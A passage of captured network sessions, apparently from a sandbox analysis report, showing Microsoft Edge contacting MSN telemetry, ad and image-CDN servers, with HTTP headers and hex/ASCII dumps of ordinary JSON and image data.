97	192.168.2.5	49870	52.168.117.168	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396634695&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3809 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
2024-11-12 07:30:37 UTC	3809	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 37 3a 33 30 3a 33 34 2e 36 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 34 30 63 34 37 32 39 2d 66 63 35 38 2d 34 39 33 66 2d 39 34 31 31 2d 39 30 36 65 38 32 63 61 31 64 39 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 32 31 33 38 38 34 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-12T07:30:34.691Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"740c4729-fc58-493f-9411-906e82ca1d95","epoch":"1221388456"},"app":{"locale
2024-11-12 07:30:37 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=877abb24818b4571a1890d17a082ace6&HASH=877a&LV=202411&V=4&LU=1731396637440; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 07:30:37 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ce1b6bb58247443fa52327227bae1529; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 08:00:37 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2745 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49873	20.99.186.246	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=048A31DB7A676AF1398424EE7B306B35&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=456e4140239f4afebbac9ab024a9970d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
2024-11-12 07:30:37 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49879	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQv.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Sat, 19 Oct 2024 03:28:36 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: 1c9ad40e-6c91-40c9-bd5f-70d68627ab45 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQv X-Source-Length: 66523 Content-Length: 66523 Cache-Control: public, max-age=288046 Expires: Fri, 15 Nov 2024 15:31:23 GMT Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 07:30:37 UTC	16384	IN	Data Raw: b4 94 7b ee fe e0 1f 5a d7 e1 f9 fd 45 f2 47 3f a0 fe 29 65 f5 3b e3 b3 cd 3f d4 ab 34 97 89 76 df 59 b9 3c 74 c7 4b 5e eb b6 ef bf 90 dc e2 88 5b 72 7c 1d fb 26 af 13 85 1e ae 52 6d 61 6b 86 28 af f3 2e 4e a9 a7 e2 b0 f3 b0 c7 1c c7 f1 4f 23 d0 ea f1 26 b5 cc f3 5f 98 dc 72 6a 31 4e bc be e3 57 ad 6d 5e 17 c9 bf a5 83 9c 17 71 2d a9 be c7 77 50 f5 1e 63 f3 33 ab d2 bc 29 df cc b1 6f c9 ab ac 3b f2 ef 45 62 8e 64 fc 72 c8 f4 5e b1 2e 28 17 bd 15 c4 f3 8f 7e 49 aa 85 ae 7e 1f 22 df 5c b8 2b 0c 50 cc 5f 1c f2 3b 6f a8 e4 bc ca bd 74 f9 9c 77 bd 2c 29 2e df e6 48 ee cb 8b ae 58 26 56 38 87 c7 2b 3a 56 e5 9b 6c 87 37 d6 c9 5e 37 d8 91 6e b9 35 9a 5d e1 f2 20 f8 65 d0 e8 a9 4b 9b f3 16 b9 3c db f3 30 7a de 19 bf 00 e3 b9 29 7e d4 bb 6f e5 80 63 88 7c 52 e8 6e Data Ascii: {ZEG?)e;?4vY<tK^[r\|&Rmak(.NO#&_rj1NWm^q-wPc3)o;Ebdr^.(~I~"\+P_;otw,).HX&V8+:Vl7^7n5] eK<0z)~oc\|Rn
2024-11-12 07:30:37 UTC	1698	IN	Data Raw: 12 8b 8d 24 ab 87 f3 3a 1a 95 60 82 7c d6 af dc 22 55 29 6e b6 b4 e9 8c 78 f1 7d 86 8e 18 b3 1c e5 b9 fb 74 2e fb 62 4b 57 a4 db f9 21 55 a5 c2 f0 e4 3c cd 0a 7b 7a 9a 4e df 6b af b9 1a 55 23 36 dc 63 05 ee d2 2f 72 c3 e8 43 ae d7 ee 51 4e ec b7 2f dd c3 c6 fe e2 dd bd c4 d7 bc f1 38 fe be 70 9e 2e 5b 97 92 4b 25 f1 c4 eb 45 a9 66 a8 d2 51 a4 b4 5e 28 84 ee cd 9a 97 79 4b 9a 96 1e f2 f1 cb ed 12 7a 56 5f 22 9d c6 e6 bd df 71 f3 ab 32 4b 5f ea 51 b6 34 92 4a fb 5d b0 df 81 87 69 49 2f 7a 56 fb 6b ef 35 55 92 f9 00 a2 e7 c5 69 ee 95 fd 0b 3b cc 52 94 36 bc 06 b7 65 2c a3 e7 80 e9 f2 2a 2c 96 de c4 bd 28 6d 37 dd 1b c3 e6 67 7d 17 4b 2f f6 d6 3c 9c 97 b1 9a d5 f1 ab 0e eb 3a 0c 4d 70 df 99 38 56 47 29 fe 99 d3 bc bd 64 7b a5 7e d4 fb 8c df e1 31 6f ff 00 96 Data Ascii: $:`\|"U)nx}t.bKW!U<{zNkU#6c/rCQN/8p.[K%EfQ^(yKzV_"q2K_Q4J]iI/zVk5Ui;R6e,*,(m7g}K/<:Mp8VG)d{~1o
2024-11-12 07:30:37 UTC	16384	IN	Data Raw: 2f d3 05 e9 4a df 9f c8 7a d7 08 be dc 09 fa fd 11 4f d9 74 ee 12 be 36 fc 2e 82 c7 82 8c 7c 73 65 77 27 c9 77 2f a8 d4 6f 83 97 cc 91 92 d7 ee 93 6f 92 fb 0b 14 9f ed 87 9e 05 9a 74 ac ab c8 cd eb f5 3a 84 45 cf 08 1e 9c ba 34 d4 de 6d 2e e5 f5 1b a5 9c 97 6b 2a 50 9c bd 29 76 2c 0b e3 b7 18 e3 5d a4 bd 3b f9 14 b5 ed e6 0e a4 f2 4d f6 7d 4b 13 7c a8 ad ee ed 47 8d f7 62 25 39 4b 28 a5 e3 2f a2 15 5f 6f 30 be be 45 be f3 e2 fb 30 06 3b 70 8e 34 bb ff 00 98 49 37 9b fb 82 d2 2b eb e4 55 74 0b 5c 23 e3 dd 88 12 dd dc 97 a3 1a f1 7f 40 94 54 73 68 7a a3 c0 9d 32 6f c4 7a e7 5e 05 2b 6e 72 f4 e6 df 86 4b e4 69 8c 12 e4 8a b5 cb 82 ae f6 06 99 cf 39 3f ed c3 ed 1e af 96 90 95 2e 15 9a 9e e6 dc 33 65 3e be 53 f4 22 d7 8c b0 fb 45 1d 98 ac 6b b4 d2 a2 96 66 6f Data Ascii: /JzOt6.\|sew'w/oot:E4m.k*P)v,];M}K\|Gb%9K(/_o0E0;p4I7+Ut\#@Tshz2oz^+nrKi9?.3e>S"Ekfo
2024-11-12 07:30:37 UTC	16192	IN	Data Raw: be c3 d2 c6 47 8d d8 7e af 79 78 e0 7a b5 85 15 bc 95 f8 91 b2 dd 78 1d 58 bc 0b 1e 4c c5 17 91 a9 4b 03 cd 68 ee 47 3b 7b 71 c5 78 fc 62 70 77 7a 87 69 5d 26 7a 5d f8 a9 57 91 e5 3a 9d 97 8f 87 b0 f4 36 30 b3 8f 7a d7 07 a9 db d3 a5 28 e5 cc d2 a2 78 ee 93 ac 7b 2f d5 cf d0 79 3e 2b ec 3d 96 dc d3 39 f7 60 e0 ff 00 a9 b6 dc 94 d7 f4 1e 8f 10 96 15 c0 d3 4a 8a 27 87 77 c6 47 2a 76 6e 04 f7 33 f8 68 e4 6f 4d 3c f1 b2 cd d9 d5 9c 77 2b 9c 13 c5 39 2b 5c ce ed bd ba 39 77 27 d8 d5 b1 b2 e7 2d 5c 23 e8 f8 b3 bc ac ae 35 54 5e bc 4c a7 2c 45 c6 34 8b 22 68 58 95 a4 13 5c 79 1c 8c dc b9 3c 71 05 b3 1c a7 4b c7 81 cd dc ea a4 ae cb 8e db 97 04 39 24 6a de f3 38 7b f0 6e d5 36 6c da df 7d 44 da 79 2c f0 c7 b8 eb a8 43 1c 17 d4 eb bf 8b 93 06 96 e7 81 87 a6 8c a1 Data Ascii: G~yxzxXLKhG;{qxbpwzi]&z]W:60z(x{/y>+=9`J'wG*vn3hoM<w+9+\9w'-\#5T^L,E4"hX\y<qK9$j8{n6l}Dy,C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49880	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=377181 Expires: Sat, 16 Nov 2024 16:16:58 GMT Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49883	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=367294 Expires: Sat, 16 Nov 2024 13:32:11 GMT Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49878	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=392433 Expires: Sat, 16 Nov 2024 20:31:10 GMT Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49881	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:37 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=149834 Expires: Thu, 14 Nov 2024 01:07:51 GMT Date: Tue, 12 Nov 2024 07:30:37 GMT Connection: close
2024-11-12 07:30:37 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49882	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
